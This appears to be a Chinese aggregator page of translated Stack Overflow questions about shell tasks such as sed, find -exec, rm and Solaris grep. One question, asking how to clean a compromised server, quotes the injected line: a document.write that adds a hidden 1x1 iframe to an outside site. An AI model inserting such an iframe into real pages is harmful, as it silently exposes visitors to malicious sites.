相关疑难解决方法(0)

更改多个文件

以下命令正在更改2个文件的内容.

sed -i 's/abc/xyz/g' xaa1 xab1 
Run Code Online (Sandbox Code Playgroud)

但我需要做的是动态更改几个这样的文件,我不知道文件名.我想编写一个命令,它将从当前目录开始读取所有文件,xa*并且sed应该更改文件内容.

sed

173
推荐指数
7
解决办法
17万
查看次数

为什么find命令的-exec选项需要反斜杠和分号?

我已经开始在linux终端中组合不同的命令.我想知道为什么命令需要反斜杠和分号,例如:

find ./ -name 'blabla' -exec cp {} ./test \;
Run Code Online (Sandbox Code Playgroud)

当一个简单的cp命令是简单的:

cp randomfile ./test
Run Code Online (Sandbox Code Playgroud)

没有\;

它们是清楚地表明命令的结束,还是仅仅是文档中的要求?基本原则是什么?

谢谢!

linux command find backslash

56
推荐指数
2
解决办法
1万
查看次数

如何仅删除目录并保持文件保持不变

我在一个目录中有数百个目录和文件.

删除目录的最佳方法是什么(无论目录中是否包含任何内容,只需删除它们)

目前我使用ls -1 -d */,并将它们记录在一个文件中,然后执行sed,然后运行它.这很长.我正在寻找更好的方法来删除目录

unix directory rm

52
推荐指数
4
解决办法
4万
查看次数

列出当前目录和所有子目录中特定大小的文件

如何在当前目录及其子目录中显示大于10k字节的所有文件.

试过ls -size +10k但是没用.

unix linux bash command

37
推荐指数
3
解决办法
7万
查看次数

简单的unix命令,什么是{}和\; 对于

使用这组命令,{}和\是什么?人物为?

find . -name '*.clj' -exec grep -r resources {} \;
Run Code Online (Sandbox Code Playgroud)

unix command find

14
推荐指数
1
解决办法
3505
查看次数

找到所有node_modules目录

我是一名网络开发人员.我检查了许多OSS项目并构建它们.节点模块因创建太多小文件而臭名昭着.我因此而耗尽了免费的iNodes.我想要一个简单的方法(在linux中)查找所有内容node_modules并删除不需要的内容.我使用以下命令列出所有node_modules目录,然后手动删除它们.

find ~/projects -name node_modules -prune
Run Code Online (Sandbox Code Playgroud)

是否有一流的实用程序可以提供更好的管理方式node_modules

linux node-modules

5
推荐指数
1
解决办法
1031
查看次数

find exec rm:没有这样的文件或目录

为什么在下面的示例中“没有这样的文件或目录”?有一些解决方法可以避免出现此错误,问题是为什么在这个确切的示例中会产生错误。

cd /tmp
mkdir -p TOP1/AB/AC/AD/AE/AF
mkdir -p TOP2/AB/AC/AD/AE/AF

find . -iname 'A*' -exec rm -rvf {} \;
removed directory: `./TOP1/AB/AC/AD/AE/AF'
removed directory: `./TOP1/AB/AC/AD/AE'
removed directory: `./TOP1/AB/AC/AD'
removed directory: `./TOP1/AB/AC'
removed directory: `./TOP1/AB'
find: `./TOP1/AB': No such file or directory
removed directory: `./TOP2/AB/AC/AD/AE/AF'
removed directory: `./TOP2/AB/AC/AD/AE'
removed directory: `./TOP2/AB/AC/AD'
removed directory: `./TOP2/AB/AC'
removed directory: `./TOP2/AB'
find: `./TOP2/AB': No such file or directory
Run Code Online (Sandbox Code Playgroud)

使用-depth\+-delete修复此问题:

find .        -iname 'A*' -exec rm -rvf {} \+
find . …
Run Code Online (Sandbox Code Playgroud)

linux shell

5
推荐指数
1
解决办法
5731
查看次数

在 Bash 的目录中,每个文件中的每一行用一个随机数替换一个字符串

!/bin/bash

for file in ~/tdg/*.TXT
  do
    while read p; do
      randvalue=`shuf -i 1-99999 -n 1`
      sed -i -e "s/55555/${randvalue}/" $file
    done < $file
  done
Run Code Online (Sandbox Code Playgroud)

这是我的脚本。每次找到它时,我都试图用不同的随机数替换 55555。这目前有效,但它用相同的随机数替换了 55555 的每个实例。我试图用 $p 替换 sed 命令末尾的 $file ,但这只是失败了。

真的,即使我说到点是同一行上的每个实例都具有相同的随机数,但是每行使用一个新的随机数,那么我会很高兴。

编辑

我应该指定这一点。我想将替换的结果实际保存在文件中,而不仅仅是将结果打印到控制台。

编辑

在 JNevill 的出色帮助之后,我的脚本的最终工作版本:

!/bin/bash

for file in ~/tdg/*.TXT
do
  while read p; 
  do
    gawk '{$0=gensub(/55555/, int(rand()*99999), "g", $0)}1' $file > ${file}.new
  done < $file
  mv -f ${file}.new $file
done
Run Code Online (Sandbox Code Playgroud)

bash shell awk sed

3
推荐指数
1
解决办法
2830
查看次数

修改服务器上文件内容的最佳脚本

问题:
我的网络服务器最近遭到入侵.他们针对javascript文件.他们插入了以下代码段

document.write('<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750" width="1" height="1" frameborder="0"></iframe>') 
Run Code Online (Sandbox Code Playgroud)

这被添加到服务器上每个.js文件的顶部.

解决方案:
编写一个脚本来打开我服务器上的每个javascript文件,检查恶意代码,删除恶意代码,最后保存文件.

问题:
脚本应该用什么编程语言编写?python会起作用吗?我在我的服务器上运行python 2.4.3.如果我在root下运行python脚本,我将不得不担心意外更改已修改文件的所有者权限?

谢谢

python bash scripting perl sed

2
推荐指数
1
解决办法
1231
查看次数

在solaris中递归搜索包含字符串的文件

寻找solaris命令获取包含搜索模式的所有文件的列表(递归).我知道如何为linux做这个,但同样的命令在solaris中不起作用:

bash-3.2# uname -a
SunOS D1NCIC-CL01 5.10 Generic_148888-03 sun4u sparc SUNW,Sun-Fire-15000

bash-3.2# find . -type f -print0 | xargs -0 grep -l "contentInFile"
xargs: illegal option -- 0
xargs: Usage: xargs: [-t] [-p] [-e[eofstr]] [-E eofstr] [-I replstr] [-i[replstr]] [-L #] [-l[#]] [-n # [-x]] [-s size] [cmd [args ...]]
find: bad option -print0
find: [-H | -L] path-list predicate-list
Run Code Online (Sandbox Code Playgroud)

recursion search solaris file

1
推荐指数
1
解决办法
2万
查看次数

`find /someDir/* -exec rm {} \` 是什么意思?

我明白这个命令

  • 删除/some/directory/至少 4 天前的所有文件
  • 保持所有文件夹完好无损(给出错误cannot remove '.../someDir': Is a directory)。

有人可以解释-exec rm {} \;?

find /some/directory/* -mtime +4 -exec rm {} \;
Run Code Online (Sandbox Code Playgroud)

特别是,{}和的含义是 \;什么?是{} \;的参数-exec

unix bash shell exec find

0
推荐指数
2
解决办法
3934
查看次数

标签 统计

bash ×4

linux ×4

unix ×4

command ×3

find ×3

sed ×3

shell ×3

awk ×1

backslash ×1

directory ×1

exec ×1

file ×1

node-modules ×1

perl ×1

python ×1

recursion ×1

rm ×1

scripting ×1

search ×1

solaris ×1